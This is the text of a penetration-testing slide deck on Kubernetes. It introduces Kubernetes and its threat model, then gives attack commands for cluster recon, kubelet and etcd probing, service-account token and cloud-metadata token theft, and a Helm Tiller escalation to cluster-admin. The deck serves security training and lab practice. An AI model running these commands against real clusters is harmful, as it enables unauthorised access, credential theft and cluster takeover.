Kubernetes 101 For Penetration Testers Abhisek Datta @abh1sek

About Me - Abhisek Datta ● Head, Security Products @ Appsecco ○ Application & Cloud Security ○ Kubernetes Security ● TechWing @ null0x00 (null.co.in) ○ Swachalit creator! :) ● Security Researcher ○ Discovered vulnerabilities in enterprise software and credited with CVE ● Open Source Contributor ○ https://github.com/abhisek

Session Take Away 1. A quick introduction to Kubernetes 2. Kubernetes Threat Model 3. Attacking a Kubernetes Cluster

How to participate? ● Observe what I am doing during the session ● DO NOT do hands-on during the session - 1 hour is too less ● Use the slides as a reference to try out hands-on after the session ○ Slides are built specifically as a reference material ● Use additional reference material provided for further learning ● Ping me for doubts & questions (@abh1sek on Twitter)

What I am expecting from you (audience)? ● Curious and willing to learn new things ● Familiar with Linux err… I mean GNU/Linux ● Familiar with network or application security ● Familiar with basic vulnerability and exploit terminology ● Familiar with vulnerability assessment & penetration testing

What is required to do hands-on? 1. Docker 2. Minikube 3. Helm 4. Kubectl 5. Nmap, cURL, netcat etc.

Introduction to Kubernetes

What is a Container? Containers are a technology for packaging the (compiled) code for an application along with the dependencies it needs at run time. Each container that you run is repeatable; the standardization from having dependencies included means that you get the same behavior wherever you run it. Think of container as “Code + Config + Runtime” packaged in an archive stored locally or in a Git like remote repository, called Container Registry

Running a Web Server (Nginx) Container docker run -d -p 8000:80 nginx curl http://localhost:8000/ Learn docker https://www.katacoda.com/courses/docker

How do you run 10,000+ containers in production? You need a container orchestrator like Kubernetes, Nomad, Mesos etc.

What is Kubernetes? https://www.youtube.com/watch?v=4ht22ReBjno

What is Kubernetes? Kubernetes is a portable, extensible, open-source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. A container orchestrator really - Refer to Illustrated Children’s Guide to Kubernetes :) https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/

Setup a local playground for learning Kubernetes minikube start --driver=docker -n 3 \ --enable-default-cni=false --network-plugin=cni kubectl cluster-info kubectl get nodes -o wide ❗ Multi-node clusters are currently experimental and might exhibit unintended behavior. To track progress on multi-node clusters, see https://github.com/kubernetes/minikube/issues/7538. Try out the online playground at Katacoda https://www.katacoda.com/courses/kubernetes/playground

Pods Pods are the smallest deployable units of computing that can be created and managed in Kubernetes kubectl run --restart=Never nginx-1 --image nginx kubectl get pods -o wide

Services An abstract way to expose an application running on a set of Pods as a network service. There are multiple service types such as ClusterIP, NodePort, LoadBalancer kubectl expose pod nginx-1 \ --port=8888 --target-port=80 --type=NodePort export NODE_PORT=$(kubectl get svc nginx-1 -o jsonpath='{.spec.ports[0].nodePort}') curl http://:$NODE_PORT/ NodePort may be risky to use

Other Key Resources ● Namespace ● Replica Set ● Deployment ● ConfigMap ● Secret (Encoded, not encrypted, by default) ● Volume ● Persistent Volume ● Persistent Volume Claim ● Ingress Learning Kubernetes https://www.katacoda.com/courses/kubernetes https://kubernetesbyexample.com/

Kubernetes Threat Model

Kubernetes Components

A Simple Threat Model Detailed Threat Model available from CNCF/TOB https://github.com/kubernetes/community/tree/master/wg-security-audit How can they attack? 03 ● Leverage configuration weaknesses ● Exploit vulnerabilities ● Exploit trust across components ● Lack of appropriate AuthZ controls ● Lack of security hardening of the cluster What can they attack? 02 ● Cluster state storage (etcd) ● Secrets ● Volumes (Data Breach) ● Container Image (Private Repository) ● Compute Resources (Example: Crypto Mining) Who are the attackers? 01 ● External (From internet) ● Internal (Attacker in a Pod) ● Developer (User with some access in the cluster) ● Malicious Administrator ● End User

Attacking a Kubernetes Cluster

Kubernetes Cluster Attack Surface

Typical Attacker’s Workflow against a Kubernetes Cluster 1. Discovery (Recon) 2. Vulnerability Testing a. You must do a conventional VA/PT for the infrastructure (OS) running Master and Node components in additional to Kubernete specific testing 3. Exploitation a. Privilege Escalation b. Lateral Movement 4. Persistence

(External Attacker) Discovery (Recon) curl -sk https://$API_SERVER_HOST:$API_SERVER_PORT/version nmap -p 10250,10255,10248,2379,2375 \ --open -sS -sV -iL all-node-ips.txt nmap -p 30000-32767 \ --open -sS -sV -iL worker-node-ips.txt Cluster Components NodePort Services

(External or Internal Attacker) API Server AuthZ Testing curl -sk https://$API_SERVER_ENDPOINT/api/v1/namespaces curl -sk https://$API_SERVER_ENDPOINT/api/v1/namespaces/default/pods kubectl auth can-i list namespaces kubectl auth can-i list pods kubectl auth can-i create pod Testing with unprivileged credential like Pod default service account

(External Attacker) Kubelet Testing curl -sk --connect-timeout 5 https://$NODE_IP:10250/pods/ curl -sk --connect-timeout 5 https://$NODE_IP:10255/pods/ curl -sk --connect-timeout 5 https://$NODE_IP:10248/

(External Attacker) What if etcd is exposed? etcd is exposed in Minikube cluster (as it should be) docker run -it --rm \ --network host \ --env ETCDCTL_API=3 \ --env ALLOW_NONE_AUTHENTICATION=yes \ bitnami/etcd:latest -- \ etcdctl --endpoints https://$ETCD_IP:2379 get / Should fail as client-cert auth is enabled by default, but you may be lucky :)

(Attacker in a Pod) Discovery (Recon) kubectl run -it attacker \ --image appsecco/k8s-security-tools \ -- bash Simulating an attacker in a Pod with required security tools printenv ifconfig host -v kubernetes.default kubectl auth can-i create pod ls -al /var/run/secrets/kubernetes.io/serviceaccount/

(Attacker in a Pod) Cluster Networking Kubernetes Networking Model https://kubernetes.io/docs/concepts/cluster-administration/networking/ Pods on a node can communicate with all pods on all nodes without NAT using the Pod Network i.e. anyone can talk to anyone by default Service Discovery through DNS assigns unique IP address to services in a dedicated Service Network CIDR All of this is facilitated by the CNI Plugin ifconfig ping kubernetes

(Attacker in a Pod) Discovering Internal Services nmap -sS -sV --top-ports 100 $POD_CIDR nmap -sS -sV --top-ports 100 $SERVICE_CIDR

Running a Vulnerability Scan docker run --rm -it \ appsecco/k8s-security-tools \ kube-hunter As external attacker to scan Master IP(s) for known issues kube-hunter --pod --cidr $POD_CIDR As internal attacker from attacker tools container https://github.com/aquasecurity/kube-hunter

Test for Container Escape (Kernel Vulnerabilities) uname -a linux-exploit-suggester.sh https://github.com/mzet-/linux-exploit-suggester

Test for Cloud Instance Metadata Service (Example) export TOKEN=$(curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service -accounts/default/token) curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/in stance/service-accounts/default/scopes curl -u "oauth2accesstoken:$TOKEN" https://eu.gcr.io/v2/_catalog Private registry access using instance service account token on Google Cloud

(Attacker in a Pod) Exploitation ● Objective? ○ Move around and gain access to other Pods (and resources) ○ Finally gain access to the cluster as cluster-admin ● How? ○ Known vulnerable components in the control plane ○ Open or vulnerable service in Pod/Service network ■ Example: Helm Tiller Privilege Escalation ○ Abusing privilege ■ Example: Privilege Escalation Abusing hostPath Volume Mount

Privilege Escalation using hostPath Volume Mount A hostPath volume mounts a file or directory from the host node's filesystem into your Pod. This is not something that most Pods will need, but it offers a powerful escape hatch for some applications. https://blog.appsecco.com/kubernetes-names pace-breakout-using-insecure-host-path-volu me-part-1-b382f2a6e216

Helm Tiller Privilege Escalation # Become attacker in a Pod kubectl run -it attacker --image appsecco/k8s-security-tools -- bash # Check privilege (service account token) kubectl auth can-i create pod # Verify tiller is accessible using service name nc -zv tiller-deploy.kube-system 44134 # Escalate privilege (service account) helm2 --host tiller-deploy.kube-system:44134 install /pwnchart Setup a vulnerable Helm2 Tiller environment

Helm Tiller Privilege Escalation 1. Tiller, the in-cluster deployer component of Helm is running inside the cluster without authentication (default in Helm 2, removed in Helm 3) 2. We connect to tiller on predictable service name, namespace and port a. Alternatively, we can scan Service CIDR and discover tiller as well 3. We connect to tiller and ask it to install a chart that binds cluster-admin like privilege to namespace default service account 4. Our Pod, or for that matter, any Pod in running in default namespace now owns the cluster https://engineering.bitnami.com/articles/helm-security.html https://v2.helm.sh/docs/securing_installation/

Reference and Further Learning

Installing (insecure) Helm2 in Kubernetes 1.16+ kubectl apply -f-<<_EOF apiVersion: v1 kind: ServiceAccount metadata: name: tiller namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: tiller roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: tiller namespace: kube-system _EOF # Ensure helm2 version is 2.16+ helm2 init --service-account tiller https://github.com/helm/helm/issues/6374#issuecomment-533427268 1 2

ATT&CK Matrix for Kubernetes https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

OWASP Kubernetes Security Testing Guide (KSTG) ● Early stage - Work in Progress ○ https://owasp.org/www-project-kubernetes-security-testing-guide/ ○ https://github.com/owasp/kstg ● Aims to be the reference guide for Kubernetes Cluster Penetration Testing ● Me (@abh1sek) and Madhu Akula (@madhuakula) working on it for now, looking for your contribution :)

Appsecco (Free) Training on Docker & Kubernetes Security ● Free and open source training material including hands-on lab for Docker & Kubernetes security for you to try out. https://github.com/appsecco/atta cking-and-auditing-docker-contai ners-and-kubernetes-clusters

Kubernetes Threat Model and Penetration Test Report ● Kubernetes Security Working Group ○ Threat Model ○ Penetration Test Report ○ Security White paper ● https://github.com/kubernetes/community/tree/master/wg-security-audit

Other Useful Resources ● Hacker Container for Kubernetes Security Assessments ● Hacking and Hardening Kubernetes Clusters by Example [I] - Brad Geesaman, Symantec ● Advanced Persistent Threats: The Future of Kubernetes Attacks ● Kubernetes From an Attacker's Perspective — OWASP Bay Area Meetup ● CIS Benchmark for Kubernetes ● aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters ● aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark ● kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.

Thank You https://twitter.com/abh1sek https://github.com/abhisek Keep Learning